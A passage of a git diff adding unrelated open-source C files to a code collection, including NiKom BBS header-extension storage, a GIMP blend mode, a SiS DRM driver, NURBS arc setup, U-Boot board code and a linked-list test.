FreeMem(node, sizeof(struct MemHeaderExtensionNode)); + } + FreeMem(ext, sizeof(struct MemHeaderExtension)); +} + +struct MemHeaderExtensionNode *AddMemHeaderExtensionNode(struct MemHeaderExtension *ext) { + struct MemHeaderExtensionNode *node; + + if(!(node = AllocMem(sizeof(struct MemHeaderExtensionNode), MEMF_CLEAR | MEMF_PUBLIC))) { + return NULL; + } + AddTail((struct List *)&ext->nodes, (struct Node *)node); + node->dirty = 1; + return node; +} + +int SaveHeaderExtension(struct MemHeaderExtension *ext) { + struct Header header; + char fileName[40]; + BPTR fh; + struct MemHeaderExtensionNode *node, *nextNode; + int pos = 0; + + if(IsListEmpty((struct List *)&ext->nodes)) { + return 0; + } + + NiKForbid(); + sprintf(fileName, "NiKom:Moten/Extensions%d.dat", ext->textId / 512); + if(!(fh = Open(fileName, MODE_READWRITE))) { + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't open %s for writing.", fileName); + return 1; + } + + ITER_EL_R(node, ext->nodes, node, struct MemHeaderExtensionNode *) { + nextNode = (struct MemHeaderExtensionNode *) node->node.mln_Succ; + if(node->ext.nextIndex == 0 && nextNode->node.mln_Succ != NULL) { + // Only do this for nodes which were previosly the last node + // or that are newly added but are not the last node. + node->ext.nextIndex = nextNode->index; + node->dirty = 1; + } + if(!node->dirty) { + continue; + } + if(node->index > 0) { + pos = (node->index - 1) * sizeof(struct HeaderExtension); + if(Seek(fh, pos, OFFSET_BEGINNING) == -1) { + Close(fh); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't Seek() to pos %d in %s.", pos, fileName); + return 1; + } + } else { + if(Seek(fh, 0, OFFSET_END) == -1) { + Close(fh); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't Seek() to the end in %s.", fileName); + return 1; + } + pos = Seek(fh, 0, OFFSET_CURRENT); + node->index = (pos / sizeof(struct HeaderExtension)) + 1; + } + if(Write(fh, &node->ext ,sizeof(struct HeaderExtension)) == -1) { + Close(fh); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Error writing to %s.", fileName); + return 1; + } + } + Close(fh); + NiKPermit(); + + if(ext->notInHeaderYet) { + if(readtexthead(ext->textId, &header)) { + return 1; + } + header.extensionIndex = ((struct MemHeaderExtensionNode *)ext->nodes.mlh_Head)->index; + if(writetexthead(ext->textId, &header)) { + return 1; + } + } + return 0; +} + +struct MemHeaderExtension *ReadHeaderExtension(int textId, int index) { + struct MemHeaderExtension *ext; + struct MemHeaderExtensionNode *node; + BPTR fh; + int pos; + char fileName[40]; + + NiKForbid(); + sprintf(fileName, "NiKom:Moten/Extensions%d.dat", textId / 512); + if(!(fh = Open(fileName, MODE_OLDFILE))) { + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't open %s for reading.", fileName); + return NULL; + } + + if(!(ext = CreateMemHeaderExtension(textId))) { + Close(fh); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't allocate MemHeaderExtension when reading text %d.", textId); + return NULL; + } + ext->notInHeaderYet = 0; + + while(index > 0) { + if(!(node = AddMemHeaderExtensionNode(ext))) { + Close(fh); + DeleteMemHeaderExtension(ext); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, + "Can't allocate MemHeaderExtensionNode when reading index %d for text %d.", + index, textId); + return NULL; + } + node->dirty = 0; + node->index = index; + + pos = (index - 1) * sizeof(struct HeaderExtension); + if(Seek(fh, pos, OFFSET_BEGINNING) == -1 + || Read(fh, &node->ext, sizeof(struct HeaderExtension)) != sizeof(struct HeaderExtension)) { + Close(fh); + DeleteMemHeaderExtension(ext); + NiKPermit(); + LogEvent(SYSTEM_LOG, ERROR, "Can't read HeaderExtension at index %d for text %d.", + index, textId); + return NULL; + } + index = node->ext.nextIndex; + } + Close(fh); + NiKPermit(); + return ext; +} diff --git a/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c b/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c new file mode 100644 index 0000000000000000000000000000000000000000..8945e62b475cba1a2be9e368b4caec6ab5ed1582 --- /dev/null +++ b/pool/shard001/C/0021855_gimpoperationdarkenonlymode.c @@ -0,0 +1,141 @@ +/* GIMP - The GNU Image Manipulation Program + * Copyright (C) 1995 Spencer Kimball and Peter Mattis + * + * gimpoperationdarkenonlymode.c + * Copyright (C) 2008 Michael Natterer + * 2012 Ville Sokk + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include "config.h" + +#include + +#include "operations-types.h" + +#include "gimpoperationdarkenonlymode.h" + + +static void gimp_operation_darken_only_mode_prepare (GeglOperation *operation); +static gboolean gimp_operation_darken_only_mode_process (GeglOperation *operation, + void *in_buf, + void *aux_buf, + void *aux2_buf, + void *out_buf, + glong samples, + const GeglRectangle *roi, + gint level); + + +G_DEFINE_TYPE (GimpOperationDarkenOnlyMode, gimp_operation_darken_only_mode, + GIMP_TYPE_OPERATION_POINT_LAYER_MODE) + + +static void +gimp_operation_darken_only_mode_class_init (GimpOperationDarkenOnlyModeClass *klass) +{ + GeglOperationClass *operation_class; + GeglOperationPointComposer3Class *point_class; + + operation_class = GEGL_OPERATION_CLASS (klass); + point_class = GEGL_OPERATION_POINT_COMPOSER3_CLASS (klass); + + gegl_operation_class_set_keys (operation_class, + "name", "gimp:darken-only-mode", + "description", "GIMP darken only mode operation", + NULL); + + operation_class->prepare = gimp_operation_darken_only_mode_prepare; + point_class->process = gimp_operation_darken_only_mode_process; +} + +static void +gimp_operation_darken_only_mode_init (GimpOperationDarkenOnlyMode *self) +{ +} + +static void +gimp_operation_darken_only_mode_prepare (GeglOperation *operation) +{ + const Babl *format = babl_format ("R'G'B'A float"); + + gegl_operation_set_format (operation, "input", format); + gegl_operation_set_format (operation, "aux", format); + gegl_operation_set_format (operation, "aux2", babl_format ("Y float")); + gegl_operation_set_format (operation, "output", format); +} + +static gboolean +gimp_operation_darken_only_mode_process (GeglOperation *operation, + void *in_buf, + void *aux_buf, + void *aux2_buf, + void *out_buf, + glong samples, + const GeglRectangle *roi, + gint level) +{ + gdouble opacity = GIMP_OPERATION_POINT_LAYER_MODE (operation)->opacity; + gfloat *in = in_buf; + gfloat *layer = aux_buf; + gfloat *mask = aux2_buf; + gfloat *out = out_buf; + const gboolean has_mask = mask != NULL; + + while (samples--) + { + gfloat comp_alpha, new_alpha; + + comp_alpha = MIN (in[ALPHA], layer[ALPHA]) * opacity; + if (has_mask) + comp_alpha *= *mask; + + new_alpha = in[ALPHA] + (1.0 - in[ALPHA]) * comp_alpha; + + if (new_alpha && comp_alpha) + { + gint b; + gfloat ratio = comp_alpha / new_alpha; + + for (b = RED; b < ALPHA; b++) + { + gfloat comp = MIN (in[b], layer[b]); + + out[b] = comp * ratio + in[b] * (1.0 - ratio); + } + } + else + { + gint b; + + for (b = RED; b < ALPHA; b++) + { + out[b] = in[b]; + } + } + + out[ALPHA] = in[ALPHA]; + + in += 4; + layer += 4; + out += 4; + + if (has_mask) + mask++; + } + + return TRUE; +} diff --git a/pool/shard001/C/0021875_sis_drv.c b/pool/shard001/C/0021875_sis_drv.c new file mode 100644 index 0000000000000000000000000000000000000000..a807b4df76c6ff9dc76d30a361ed2d134dad877c --- /dev/null +++ b/pool/shard001/C/0021875_sis_drv.c @@ -0,0 +1,174 @@ +/* sis.c -- sis driver -*- linux-c -*- + */ +/*- + * Copyright 1999 Precision Insight, Inc., Cedar Park, Texas. + * Copyright 2000 VA Linux Systems, Inc., Sunnyvale, California. + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice (including the next + * paragraph) shall be included in all copies or substantial portions of the + * Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, DAMAGES OR + * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, + * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + * DEALINGS IN THE SOFTWARE. + * + */ + +#include "drmP.h" +#include "sis_drm.h" +#include "sis_drv.h" +#include "drm_pciids.h" + +/* drv_PCI_IDs comes from drm_pciids.h, generated from drm_pciids.txt. */ +static drm_pci_id_list_t sis_pciidlist[] = { + sis_PCI_IDS +}; + +static void sis_configure(struct drm_device *dev) +{ + dev->driver->driver_features = + DRIVER_USE_AGP | DRIVER_USE_MTRR; + + dev->driver->buf_priv_size = 1; /* No dev_priv */ + dev->driver->context_ctor = sis_init_context; + dev->driver->context_dtor = sis_final_context; + + dev->driver->ioctls = sis_ioctls; + dev->driver->max_ioctl = sis_max_ioctl; + + dev->driver->name = DRIVER_NAME; + dev->driver->desc = DRIVER_DESC; + dev->driver->date = DRIVER_DATE; + dev->driver->major = DRIVER_MAJOR; + dev->driver->minor = DRIVER_MINOR; + dev->driver->patchlevel = DRIVER_PATCHLEVEL; +} + +#if defined(__FreeBSD__) + +static int +sis_probe(device_t kdev) +{ + return drm_probe(kdev, sis_pciidlist); +} + +static int +sis_attach(device_t kdev) +{ + struct drm_device *dev = device_get_softc(kdev); + + dev->driver = malloc(sizeof(struct drm_driver_info), DRM_MEM_DRIVER, + M_WAITOK | M_ZERO); + + sis_configure(dev); + + return drm_attach(kdev, sis_pciidlist); +} + +static int +sis_detach(device_t kdev) +{ + struct drm_device *dev = device_get_softc(kdev); + int ret; + + ret = drm_detach(kdev); + + free(dev->driver, DRM_MEM_DRIVER); + + return ret; +} + +static device_method_t sis_methods[] = { + /* Device interface */ + DEVMETHOD(device_probe, sis_probe), + DEVMETHOD(device_attach, sis_attach), + DEVMETHOD(device_detach, sis_detach), + + { 0, 0 } +}; + +static driver_t sis_driver = { + "drm", + sis_methods, + sizeof(struct drm_device) +}; + +extern devclass_t drm_devclass; +#if __FreeBSD_version >= 700010 +DRIVER_MODULE(sisdrm, vgapci, sis_driver, drm_devclass, 0, 0); +#else +DRIVER_MODULE(sisdrm, pci, sis_driver, drm_devclass, 0, 0); +#endif +MODULE_DEPEND(sisdrm, drm, 1, 1, 1); + +#elif defined(__NetBSD__) + +static int +sisdrm_probe(device_t parent, cfdata_t match, void *aux) +{ + struct pci_attach_args *pa = aux; + + return drm_probe(pa, sis_pciidlist); +} + +static void +sisdrm_attach(device_t parent, device_t self, void *aux) +{ + struct pci_attach_args *pa = aux; + struct drm_device *dev = device_private(self); + + dev->driver = malloc(sizeof(struct drm_driver_info), DRM_MEM_DRIVER, + M_WAITOK | M_ZERO); + + sis_configure(dev); + + drm_attach(self, pa, sis_pciidlist); +} + +CFATTACH_DECL_NEW(sisdrm, sizeof(struct drm_device), + sisdrm_probe, sisdrm_attach, drm_detach, NULL); + +MODULE(MODULE_CLASS_DRIVER, sisdrm, "drm"); + +#ifdef _MODULE +#include "ioconf.c" +#endif + +static int +sisdrm_modcmd(modcmd_t cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MODULE_CMD_INIT: +#ifdef _MODULE + error = config_init_component(cfdriver_ioconf_sisdrm, + cfattach_ioconf_sisdrm, cfdata_ioconf_sisdrm); +#endif + break; + case MODULE_CMD_FINI: +#ifdef _MODULE + error = config_fini_component(cfdriver_ioconf_sisdrm, + cfattach_ioconf_sisdrm, cfdata_ioconf_sisdrm); +#endif + break; + default: + return ENOTTY; + } + + return error; +} + +#endif diff --git a/pool/shard001/C/0021884_spl3d13.c b/pool/shard001/C/0021884_spl3d13.c new file mode 100644 index 0000000000000000000000000000000000000000..a56542373d3c0640dc134b30a0512c1774840653 --- /dev/null +++ b/pool/shard001/C/0021884_spl3d13.c @@ -0,0 +1,160 @@ + +/* //////////////////////////////////////////////////// */ +/* This file is a part of the BSTools procedure package */ +/* written by Przemyslaw Kiciak. */ +/* //////////////////////////////////////////////////// */ + +#include +#include +#include +#include + +#include +#include + +#include "pkgeom.h" +#include "multibs.h" +#include "convh.h" +#include "camerad.h" + +#include "xgedit.h" +#include "spl3d.h" + + +void EqMerSetQuarterCircleArc ( void ) +{ + xge_KnotWind *ckwind; + double kn[2] = {0.0, 1.0}; + + ckwind = eq_ckwind.er->data0; + ckwind->degree = 2; + eqmer_nurbs = true; + if ( equator ) + equator_nurbs = true; + else + meridian_nurbs = true; + eqmer_closed = false; + arc_angle = (double)(0.5*PI); + mbs_SetKnotPatternd ( 1, kn, 3, &ckwind->lastknot, ckwind->knots ); + SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 ); + neqmerpoints = 3; + ProjectEqMerCurve (); +} /*EqMerSetQuarterCircleArc*/ + +void EqMerSetHalfCircleArc ( void ) +{ + xge_KnotWind *ckwind; + double kn[3] = {0.0, 0.5, 1.0}; + + ckwind = eq_ckwind.er->data0; + ckwind->degree = 2; + eqmer_nurbs = true; + eqmer_closed = false; + arc_angle = PI; + ckwind->knots[0] = 0.0; + mbs_SetKnotPatternd ( 2, kn, 2, &ckwind->lastknot, &ckwind->knots[1] ); + ckwind->knots[7] = 1.0; + ckwind->lastknot = 7; + if ( equator ) { + equator_nurbs = true; + SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[3], (double)(-0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[4], -1.0, 0.0, 1.0 ); + } + else { + meridian_nurbs = true; + SetPoint3d ( &eqmer_cpoints[0], 0.0, -1.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(-0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[2], 1.0, 0.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[3], (double)(0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[4], 0.0, 1.0, 1.0 ); + } + neqmerpoints = 5; + ProjectEqMerCurve (); +} /*EqMerSetHalfCircleArc*/ + +void EqMerSetFullCircleArc ( void ) +{ + xge_KnotWind *ckwind; + double kn[5] = {0.0, 0.25, 0.5, 0.75, 1.0}; + + ckwind = eq_ckwind.er->data0; + ckwind->degree = 2; + eqmer_nurbs = true; + if ( equator ) + equator_nurbs = true; + else + meridian_nurbs = true; + eqmer_closed = false; + arc_angle = (double)(2.0*PI); + ckwind->knots[0] = 0.0; + mbs_SetKnotPatternd ( 4, kn, 2, &ckwind->lastknot, &ckwind->knots[1] ); + ckwind->knots[11] = 1.0; + ckwind->lastknot = 11; + SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[1], (double)(0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[2], 0.0, 1.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[3], (double)(-0.5*SQRT2), (double)(0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[4], -1.0, 0.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[5], (double)(-0.5*SQRT2), (double)(-0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[6], 0.0, -1.0, 1.0 ); + SetPoint3d ( &eqmer_cpoints[7], (double)(0.5*SQRT2), (double)(-0.5*SQRT2), + (double)(0.5*SQRT2) ); + SetPoint3d ( &eqmer_cpoints[8], 1.0, 0.0, 1.0 ); + neqmerpoints = 9; + ProjectEqMerCurve (); +} /*EqMerSetFullCircleArc*/ + +void EqMerSetCircleArc ( double angle ) +{ + xge_KnotWind *ckwind; + int narcs, i; + double *kn, a, w; + trans2d tr; + double kn1[2] = {0.0, 1.0}; + double kn2[3] = {0.0, 0.5, 1.0}; + double kn3[4] = {0.0, 0.333333333333333, 0.6666666666666666, 1.0}; + double kn4[5] = {0.0, 0.25, 0.5, 0.75, 1.0}; + + ckwind = eq_ckwind.er->data0; + + if ( angle < 0.0 ) angle += (double)(2.0*PI); + angle = (double)(max ( 0.0, angle )); + angle = (double)(min ( 2.0*PI, angle )); + if ( angle <= 0.5*PI ) { narcs = 1; kn = kn1; } + else if ( angle <= PI ) { narcs = 2; kn = kn2; } + else if ( angle <= 1.5*PI ) { narcs = 3; kn = kn3; } + else { narcs = 4; kn = kn4; } + ckwind->degree = 2; + eqmer_nurbs = true; + eqmer_closed = false; + arc_angle = angle; + ckwind->knots[0] = 0.0; + mbs_SetKnotPatternd ( narcs, kn, 2, &ckwind->lastknot, &ckwind->knots[1] ); + ckwind->lastknot += 2; + ckwind->knots[ckwind->lastknot] = 1.0; + a = (double)(angle/(2.0*narcs)); + w = (double)(cos ( a )); + SetPoint3d ( &eqmer_cpoints[0], 1.0, 0.0, 1.0 ); + IdentTrans2d ( &tr ); + RotTrans2d ( &tr, a ); + for ( i = 0; i < 2*narcs; i++ ) + Trans2Point3d ( &tr, &eqmer_cpoints[i], &eqmer_cpoints[i+1] ); + for ( i = 1; i < 2*narcs; i += 2 ) + eqmer_cpoints[i].z = w; + neqmerpoints = 2*narcs+1; + ProjectEqMerCurve (); +} /*EqMerSetCircleArc*/ + diff --git a/pool/shard001/C/0021887_xshiftr.c b/pool/shard001/C/0021887_xshiftr.c new file mode 100644 index 0000000000000000000000000000000000000000..5aa62f4173ee468d1c5675e12a1a77590a23f585 --- /dev/null +++ b/pool/shard001/C/0021887_xshiftr.c @@ -0,0 +1,38 @@ + +#include +#include +#include "globals.h" +#include "expression.h" +#include "func_proto.h" + +/**************************************************************** +shiftr(a,b) = a >> b +****************************************************************/ + +int f_shiftr(int argc, const int *argt, void **args) +{ + CELL *res = args[0]; + CELL *arg1 = args[1]; + CELL *arg2 = args[2]; + int i; + + if (argc < 2) + return E_ARG_LO; + if (argc > 2) + return E_ARG_HI; + + if (argt[1] != CELL_TYPE || argt[2] != CELL_TYPE) + return E_ARG_TYPE; + + if (argt[0] != CELL_TYPE) + return E_RES_TYPE; + + for (i = 0; i < columns; i++) { + if (IS_NULL_C(&arg1[i]) || IS_NULL_C(&arg2[i])) + SET_NULL_C(&res[i]); + else + res[i] = arg1[i] >> arg2[i]; + } + + return 0; +} diff --git a/pool/shard001/C/0021901_main_remote.c b/pool/shard001/C/0021901_main_remote.c new file mode 100644 index 0000000000000000000000000000000000000000..a7a4b06f19ee87f6f2a9405c3fd83376b8ca11fa --- /dev/null +++ b/pool/shard001/C/0021901_main_remote.c @@ -0,0 +1,122 @@ +/* + * Copyright (c) 2018, NXP + * Copyright (c) 2018 Nordic Semiconductor ASA + * + * SPDX-License-Identifier: Apache-2.0 + * + * This implements the remote side of an OpenAMP system. + */ + +#include +#include +#include +#include +#include +#include + +#include + +#include "platform.h" +#include "resource_table.h" + +#define APP_TASK_STACK_SIZE (512) +K_THREAD_STACK_DEFINE(thread_stack, APP_TASK_STACK_SIZE); +static struct k_thread thread_data; + +static K_SEM_DEFINE(channel_created, 0, 1); + +static K_SEM_DEFINE(message_received, 0, 1); +static volatile unsigned int received_data; + +static struct rsc_table_info rsc_info; +static struct hil_proc *proc; + +static struct rpmsg_channel *rp_channel; +static struct rpmsg_endpoint *rp_endpoint; + +static void rpmsg_recv_callback(struct rpmsg_channel *channel, void *data, + int data_length, void *private, + unsigned long src) +{ + received_data = *((unsigned int *) data); + k_sem_give(&message_received); +} + +static void rpmsg_channel_created(struct rpmsg_channel *channel) +{ + rp_channel = channel; + rp_endpoint = rpmsg_create_ept(rp_channel, rpmsg_recv_callback, + RPMSG_NULL, RPMSG_ADDR_ANY); + k_sem_give(&channel_created); +} + +static void rpmsg_channel_deleted(struct rpmsg_channel *channel) +{ + rpmsg_destroy_ept(rp_endpoint); +} + +static unsigned int receive_message(void) +{ + while (k_sem_take(&message_received, K_NO_WAIT) != 0) + hil_poll(proc, 0); + return received_data; +} + +static int send_message(unsigned int message) +{ + return rpmsg_send(rp_channel, &message, sizeof(message)); +} + +void app_task(void *arg1, void *arg2, void *arg3) +{ + ARG_UNUSED(arg1); + ARG_UNUSED(arg2); + ARG_UNUSED(arg3); + + struct metal_init_params metal_params = METAL_INIT_DEFAULTS; + + metal_init(&metal_params); + + proc = platform_init(RPMSG_REMOTE); + if (proc == NULL) { + goto _cleanup; + } + + resource_table_init((void **) &rsc_info.rsc_tab, &rsc_info.size); + + struct remote_proc *rproc_ptr = NULL; + int status = remoteproc_resource_init(&rsc_info, proc, + rpmsg_channel_created, + rpmsg_channel_deleted, + rpmsg_recv_callback, + &rproc_ptr, RPMSG_REMOTE); + if (status != 0) { + goto _cleanup; + } + + while (k_sem_take(&channel_created, K_NO_WAIT) != 0) + hil_poll(proc, 0); + + unsigned int message = 0U; + + while (message <= 100) { + message = receive_message(); + message++; + status = send_message(message); + if (status <= 0) { + goto _cleanup; + } + } + +_cleanup: + if (rproc_ptr) { + remoteproc_resource_deinit(rproc_ptr); + } +} + +void main(void) +{ + k_thread_create(&thread_data, thread_stack, APP_TASK_STACK_SIZE, + (k_thread_entry_t)app_task, + NULL, NULL, NULL, K_PRIO_COOP(7), 0, 0); +} diff --git a/pool/shard001/C/0021907_rt_round_snf.c b/pool/shard001/C/0021907_rt_round_snf.c new file mode 100644 index 0000000000000000000000000000000000000000..64a63f0735264a121c1a77cde37094c420a65de3 --- /dev/null +++ b/pool/shard001/C/0021907_rt_round_snf.c @@ -0,0 +1,46 @@ +/* + * rt_round_snf.c + * + * Real-Time Workshop code generation for Simulink model "NLPIDVersion2.mdl". + * + * Model Version : 1.89 + * Real-Time Workshop version : 7.3 (R2009a) 15-Jan-2009 + * C source code generated on : Mon Mar 24 18:43:48 2014 + * + * Target selection: nidll.tlc + * Note: GRT includes extra infrastructure and instrumentation for prototyping + * Embedded hardware selection: 32-bit Generic + * Code generation objectives: Unspecified + * Validation result: Not run + * + */ + +#include "rt_round_snf.h" +#include "rt_nonfinite.h" +#include + +/* Function: rt_round_snf ======================================================= + * Abstract: + * Calls double-precision version of ROUND, with guard against domain error + * and guards against non-finites + */ +real_T rt_round_snf(const real_T xr) +{ + real_T zr, axr; + if (rtIsNaN(xr)) { + zr = xr; + } else { + axr = fabs(xr); + if (axr < 4.5035996273704960E+015) { + if (xr < 0.0) { + zr = -floor(axr + 0.5); + } else { + zr = floor(axr + 0.5); + } + } else { + zr = xr; + } + } + + return zr; +} /* end rt_round_snf */ diff --git a/pool/shard001/C/0021908_vexpress64.c b/pool/shard001/C/0021908_vexpress64.c new file mode 100644 index 0000000000000000000000000000000000000000..26e22c4c25549720242d1baa0e8137823ffd80d2 --- /dev/null +++ b/pool/shard001/C/0021908_vexpress64.c @@ -0,0 +1,105 @@ +/* + * (C) Copyright 2013 + * David Feng + * Sharma Bhupesh + * + * SPDX-License-Identifier: GPL-2.0+ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include "pcie.h" +#include + +DECLARE_GLOBAL_DATA_PTR; + +static const struct pl01x_serial_platdata serial_platdata = { + .base = V2M_UART0, + .type = TYPE_PL011, + .clock = CONFIG_PL011_CLOCK, +}; + +U_BOOT_DEVICE(vexpress_serials) = { + .name = "serial_pl01x", + .platdata = &serial_platdata, +}; + +static struct mm_region vexpress64_mem_map[] = { + { + .virt = 0x0UL, + .phys = 0x0UL, + .size = 0x80000000UL, + .attrs = PTE_BLOCK_MEMTYPE(MT_DEVICE_NGNRNE) | + PTE_BLOCK_NON_SHARE | + PTE_BLOCK_PXN | PTE_BLOCK_UXN + }, { + .virt = 0x80000000UL, + .phys = 0x80000000UL, + .size = 0xff80000000UL, + .attrs = PTE_BLOCK_MEMTYPE(MT_NORMAL) | + PTE_BLOCK_INNER_SHARE + }, { + /* List terminator */ + 0, + } +}; + +struct mm_region *mem_map = vexpress64_mem_map; + +/* This function gets replaced by platforms supporting PCIe. + * The replacement function, eg. on Juno, initialises the PCIe bus. + */ +__weak void vexpress64_pcie_init(void) +{ +} + +int board_init(void) +{ + vexpress64_pcie_init(); + return 0; +} + +int dram_init(void) +{ + gd->ram_size = PHYS_SDRAM_1_SIZE; + return 0; +} + +int dram_init_banksize(void) +{ + gd->bd->bi_dram[0].start = PHYS_SDRAM_1; + gd->bd->bi_dram[0].size = PHYS_SDRAM_1_SIZE; +#ifdef PHYS_SDRAM_2 + gd->bd->bi_dram[1].start = PHYS_SDRAM_2; + gd->bd->bi_dram[1].size = PHYS_SDRAM_2_SIZE; +#endif + + return 0; +} + +/* + * Board specific reset that is system reset. + */ +void reset_cpu(ulong addr) +{ +} + +/* + * Board specific ethernet initialization routine. + */ +int board_eth_init(bd_t *bis) +{ + int rc = 0; +#ifdef CONFIG_SMC91111 + rc = smc91111_initialize(0, CONFIG_SMC91111_BASE); +#endif +#ifdef CONFIG_SMC911X + rc = smc911x_initialize(0, CONFIG_SMC911X_BASE); +#endif + return rc; +} diff --git a/pool/shard001/C/0021914_node_test.c b/pool/shard001/C/0021914_node_test.c new file mode 100644 index 0000000000000000000000000000000000000000..816b0a9be70d68add9d0c3ada75b6e0efd645390 --- /dev/null +++ b/pool/shard001/C/0021914_node_test.c @@ -0,0 +1,151 @@ +/* + * brickd + * Copyright (C) 2014-2015 Matthias Bolte + * + * node_test.c: Tests for the Node type + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include + +#include +#include + +typedef struct { + Node node; + int value; +} Number; + +static int validate_numbers(int test, Node *sentinel, int offset, int length) { + int i; + Number *number; + Node *node; + + // forward + i = offset; + node = sentinel->next; + + while (node != sentinel) { + number = containerof(node, Number, node); + + if (number->value != i) { + printf("test%d: forward number mismatch (actual: %d != expected: %d)\n", + test, number->value, i); + + return -1; + } + + ++i; + node = node->next; + } + + if (i != offset + length) { + printf("test%d: forward length mismatch (actual: %d != expected: %d)\n", + test, i, offset + length); + + return -1; + } + + // backward + i = offset + length - 1; + node = sentinel->prev; + + while (node != sentinel) { + number = containerof(node, Number, node); + + if (number->value != i) { + printf("test%d: backward number mismatch (actual: %d != expected: %d)\n", + test, number->value, i); + + return -1; + } + + --i; + node = node->prev; + } + + if (i != offset - 1) { + printf("test%d: backward length mismatch (actual: %d != expected: %d)\n", + test, i, offset - 1); + + return -1; + } + + return 0; +} + +static int test1(void) { + int result = -1; + Node sentinel; + int i; + Number *number; + Node *node; + + node_reset(&sentinel); + + for (i = 0; i < 100000; ++i) { + number = calloc(1, sizeof(Number)); + + node_reset(&number->node); + + number->value = i; + + node_insert_before(&sentinel, &number->node); + } + + if (validate_numbers(1, &sentinel, 0, 100000) < 0) { + goto cleanup; + } + + node = sentinel.next; + + node_remove(node); + + number = containerof(node, Number, node); + + free(number); + + if (validate_numbers(1, &sentinel, 1, 99999) < 0) { + goto cleanup; + } + + result = 0; + +cleanup: + while (sentinel.next != &sentinel) { + number = containerof(sentinel.next, Number, node); + + node_remove(&number->node); + free(number); + } + + return result; +} + +int main(void) { +#ifdef _WIN32 + fixes_init(); +#endif + + if (test1() < 0) { + return EXIT_FAILURE; + } + + printf("success\n"); + + return EXIT_SUCCESS; +} diff --git a/pool/shard001/C/0021927_vcd_ddl_utils.c b/pool/shard001/C/0021927_vcd_ddl_utils.c new file mode 100644 index 0000000000000000000000000000000000000000..8b9a19632694adce364c276064ca79ccc28bd147 --- /dev/null +++ b/pool/shard001/C/0021927_vcd_ddl_utils.c @@ -0,0 +1,227 @@ +/* Copyright (c) 2010-2011, Code Aurora Forum. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + * 02110-1301, USA. + * + */ + +#include 